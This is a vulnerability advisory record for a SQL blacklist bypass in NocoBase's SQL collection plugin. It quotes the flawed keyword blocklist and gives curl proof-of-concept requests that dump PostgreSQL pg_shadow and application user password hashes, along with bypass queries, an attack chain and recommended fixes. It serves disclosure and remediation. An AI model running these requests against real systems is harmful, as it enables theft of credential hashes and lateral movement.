{"id":"CVE-2026-52888","aliases":["GHSA-v8vm-cqh8-q87q"],"title":"NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass","summary":"NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass","severity":"medium","cvss":6.8,"cwe":["CWE-184","CWE-200"],"vendor":"nocobase","product":"@nocobase/plugin-collection-sql","ecosystem":"npm","affected":["@nocobase/plugin-collection-sql < 2.0.62","@nocobase/plugin-collection-sql >= 2.1.0-alpha.1, < 2.1.0-alpha.46","@nocobase/plugin-collection-sql >= 2.1.0-beta.1, < 2.1.0-beta.45"],"patched":["@nocobase/plugin-collection-sql 2.0.62","@nocobase/plugin-collection-sql 2.1.0-alpha.46","@nocobase/plugin-collection-sql 2.1.0-beta.45"],"published":"2026-07-28","updated":"2026-07-28","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-v8vm-cqh8-q87q","references":[{"url":"https://github.com/nocobase/nocobase/security/advisories/GHSA-v8vm-cqh8-q87q"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52888"},{"url":"https://github.com/nocobase/nocobase/pull/9683"},{"url":"https://github.com/nocobase/nocobase/commit/4aecb60d151a9002004dcf984f63d62f17a6cb45"},{"url":"https://github.com/nocobase/nocobase/commit/87c548969ce9258dd7f0d9571c9453ae10bc3fc4"},{"url":"https://github.com/nocobase/nocobase/releases/tag/v2.0.62"},{"url":"https://github.com/nocobase/nocobase/releases/tag/v2.1.0-alpha.46"},{"url":"https://github.com/advisories/GHSA-v8vm-cqh8-q87q"}],"tags":["ghsa","npm"],"epss":0.00469,"epssPercentile":0.39639,"ingestedAt":"2026-07-28T21:39:18.371Z","slug":"CVE-2026-52888","body":"## Overview\n\n# Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass\n\n## Summary\n\nThe `checkSQL()` function in `plugin-collection-sql` implements a **keyword-based blacklist** to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is **incomplete**: it only checks for a subset of dangerous PostgreSQL system functions and **does not restrict access to sensitive system catalog tables** such as `pg_shadow`, `pg_roles`, or `pg_stat_activity`.\n\nAn authenticated user with the `admin` role can exploit this to **dump PostgreSQL password hashes** (`pg_shadow`), **read all NocoBase user credentials** (hashed passwords from the `users` table), and **enumerate the full database schema** — all data that admin users should never be able to access through the application interface.\n\n---\n\n## Affected Component\n\n**File**: `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts`\n\n```typescript\nexport const checkSQL = (sql: string) => {\n  const dangerKeywords = [\n    // PostgreSQL — BLOCKED\n    'pg_read_file',\n    'pg_read_binary_file',\n    'pg_stat_file',\n    'pg_ls_dir',\n    'pg_logdir_ls',\n    'pg_terminate_backend',\n    'pg_cancel_backend',\n    'current_setting',\n    'set_config',\n    'pg_reload_conf',\n    'pg_sleep',\n    'generate_series',\n\n    // MySQL — BLOCKED\n    'LOAD_FILE',\n    'BENCHMARK',\n    '@@global.',\n    '@@session.',\n\n    // SQLite — BLOCKED\n    'sqlite3_load_extension',\n    'load_extension',\n  ];\n\n  // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,\n  //                 information_schema, users table direct access, etc.\n\n  sql = sql.trim().split(';').shift();\n  if (!/^select/i.test(sql) && !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error('Only supports SELECT statements or WITH clauses');\n  }\n  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error('SQL statements contain dangerous keywords');\n  }\n};\n```\n\nThe `execute` action in `sql.ts` passes user-supplied SQL directly through this insufficient check:\n\n```typescript\n// sql.ts — execute action\nexecute: async (ctx: Context, next: Next) => {\n  const { sql } = ctx.action.params.values || {};\n  try {\n    checkSQL(sql);         // ← insufficient validation\n  } catch (e) {\n    ctx.throw(400, ctx.t(e.message));\n  }\n  // SQL is executed directly against the database\n  const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true });\n  ctx.body = { data, fields, sources };\n}\n```\n\n---\n\n## Root Cause\n\nThe blacklist approach is **fundamentally incomplete**. It attempts to enumerate every dangerous construct but misses entire categories:\n\n1. **PostgreSQL system catalog tables** — `pg_shadow`, `pg_authid`, `pg_roles`, `pg_stat_activity` are not restricted\n2. **Application-level sensitive tables** — `users` (containing hashed passwords) can be queried directly\n3. **`information_schema`** — full schema enumeration is possible\n4. **Schema-qualified variants** — even some blocked functions could be bypassed via `pg_catalog.` prefix (e.g. `pg_catalog.pg_read_file` may bypass checks in older versions)\n\nThe correct approach is an **allowlist** (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.\n\n---\n\n## Steps to Reproduce\n\n**Prerequisites**: A user account with the `admin` role (has the `pm.data-source-manager.collection-sql` ACL snippet).\n\n**Step 1**: Authenticate and obtain a token:\n```bash\nTOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"admin@example.com\",\"password\":\"<password>\"}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['token'])\")\n```\n\n**Step 2**: Dump PostgreSQL password hashes from `pg_shadow`:\n```bash\ncurl -s -X POST http://<TARGET>/api/sqlCollection:execute \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"sql\":\"SELECT usename, passwd FROM pg_shadow LIMIT 10\"}'\n```\n\n**Response**:\n```json\n{\n  \"data\": {\n    \"data\": [\n      {\n        \"usename\": \"nocobase\",\n        \"passwd\": \"SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU=\"\n      }\n    ]\n  }\n}\n```\n\n**Step 3**: Dump NocoBase user credentials:\n```bash\ncurl -s -X POST http://<TARGET>/api/sqlCollection:execute \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"sql\":\"SELECT id, email, username, password FROM users LIMIT 100\"}'\n```\n\n**Response** (verified):\n```json\n{\n  \"data\": {\n    \"data\": [\n      {\n        \"id\": 1,\n        \"email\": \"admin@nocobase.com\",\n        \"username\": \"nocobase\",\n        \"password\": \"1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b\"\n      }\n    ]\n  }\n}\n```\n\n---\n\n## Additional Verified Bypass Queries\n\n| Query | Blocked? | Data Exposed |\n|-------|----------|--------------|\n| `SELECT usename, passwd FROM pg_shadow` |**Not blocked** | PostgreSQL DB user password hashes |\n| `SELECT id, email, password FROM users` |**Not blocked** | All NocoBase user credential hashes |\n| `SELECT table_name FROM information_schema.tables` |**Not blocked** | Full database schema enumeration |\n| `SELECT rolname, rolsuper FROM pg_roles` |**Not blocked** | All DB roles and superuser flags |\n| `SELECT pid, query FROM pg_stat_activity` |**Not blocked** | Live SQL queries from all sessions |\n| `SELECT pg_read_file('/etc/passwd')` |Blocked | — |\n| `SELECT current_setting('app.key')` |Blocked | — |\n\n---\n\n## Why Admin-Required Still Matters\n\nThis vulnerability is rated **High** despite requiring admin-level authentication. The reasoning:\n\n### 1. Security Boundary Violation (Scope Changed → S:C)\nThe `admin` role in NocoBase is an **application-level** role — it manages workflows, collections, and UI. It is **not** a database administrator. Accessing `pg_shadow` is a **PostgreSQL system-level** privilege that admins should never have. The `checkSQL()` function was explicitly created to enforce this boundary; bypassing it breaks the intended security model.\n\n### 2. Data That Admin Cannot Access Through Normal UI\nEven with admin privileges, NocoBase's UI and API **do not expose**:\n- `pg_shadow` (PostgreSQL internal password store)\n- Raw `users.password` hashes via standard API responses\n- Full `information_schema` enumeration\n\nVUL-2 grants access to all of the above — data the application explicitly chose not to expose.\n\n### 3. Enables Lateral Movement\nThe `pg_shadow` SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains **direct PostgreSQL access** with the application's DB credentials — bypassing the NocoBase application layer entirely. This enables reading **all data** in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas.\n\n### 4. Enables Full Attack Chain When Combined with Other Vulnerabilities\n```\nMember user (lowest privilege)\n  → VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger)\n  → VUL-1: RCE reads APP_KEY from process.env\n  → Forge JWT with admin role\n  → VUL-2: Dump pg_shadow + users.password\n  → Crack hashes → full PostgreSQL access\n```\n\n---\n\n## Impacted API Endpoint\n\n```\nPOST /api/sqlCollection:execute\n```\n\n- **Authentication**: Required (`admin` role)\n- **ACL Snippet** registered in `plugin.ts`:\n  ```typescript\n  this.app.acl.registerSnippet({\n    name: `pm.data-source-manager.collection-sql`,\n    actions: ['sqlCollection:*'],   // includes :execute\n  });\n  ```\n- The `admin` role includes this snippet by default.\n\n---\n\n## Recommended Fixes\n\n### Fix 1 (Immediate): Extend the blacklist with system catalog tables\n```typescript\nconst dangerKeywords = [\n  // ... existing entries ...\n\n  // ADD: PostgreSQL system catalog tables with sensitive data\n  'pg_shadow',\n  'pg_authid',\n  'pg_auth_members',\n  'pg_stat_activity',\n  'pg_roles',\n  // Note: information_schema should also be restricted for non-DBA roles\n];\n```\n\n### Fix 2 (Recommended): Replace blacklist with schema allowlist\nInstead of blocking dangerous keywords, only allow queries against **user-defined collection tables**:\n\n```typescript\n// Allowlist approach: extract table names from AST and verify against known collections\nconst allowedTables = await db.getCollectionNames(); // tables created by NocoBase users\nconst referencedTables = extractTableNames(parsedSQL);\nif (!referencedTables.every(t => allowedTables.includes(t))) {\n  throw new Error('Query references tables outside the allowed scope');\n}\n```\n\n### Fix 3 (Defense-in-depth): Use a read-only, restricted DB user\nThe application's DB connection should use a PostgreSQL user that:\n- Does **not** have `SELECT` privilege on `pg_shadow` or `pg_authid`\n- Only has access to the application's own schema (`nocobase` schema)\n\nThis ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs.\n\n---\n\n## Environment\n\n| Field | Value |\n|-------|-------|\n| NocoBase version | 2.0.59-full |\n| Database | PostgreSQL 16.14 |\n| Deployment | Docker (`nocobase/nocobase:2.0.59-full`) |\n| Vulnerable file | `plugin-collection-sql/src/server/utils.ts` — `checkSQL()` |\n| Vulnerable endpoint | `POST /api/sqlCollection:execute` |\n| Auth required | Admin role (`pm.data-source-manager.collection-sql` snippet) |\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-05-29 | Vulnerability discovered via whitebox source code audit of `utils.ts` |\n| 2026-05-29 | Exploit verified on live Docker instance — `pg_shadow` and `users.password` dumped |\n| 2026-05-29 | Report submitted to maintainers |\n\n---\n## Script and video PoC:\n[poc_vul2_sqli.py](https://github.com/user-attachments/files/28380402/poc_vul2_sqli.py)\n\nhttps://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732\n\n## Affected packages\n\n- `@nocobase/plugin-collection-sql < 2.0.62`\n- `@nocobase/plugin-collection-sql >= 2.1.0-alpha.1, < 2.1.0-alpha.46`\n- `@nocobase/plugin-collection-sql >= 2.1.0-beta.1, < 2.1.0-beta.45`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `@nocobase/plugin-collection-sql 2.0.62`\n- `@nocobase/plugin-collection-sql 2.1.0-alpha.46`\n- `@nocobase/plugin-collection-sql 2.1.0-beta.45`","depth":"sunlit","depthScore":37,"depthScoreParts":{"impact":37.4,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}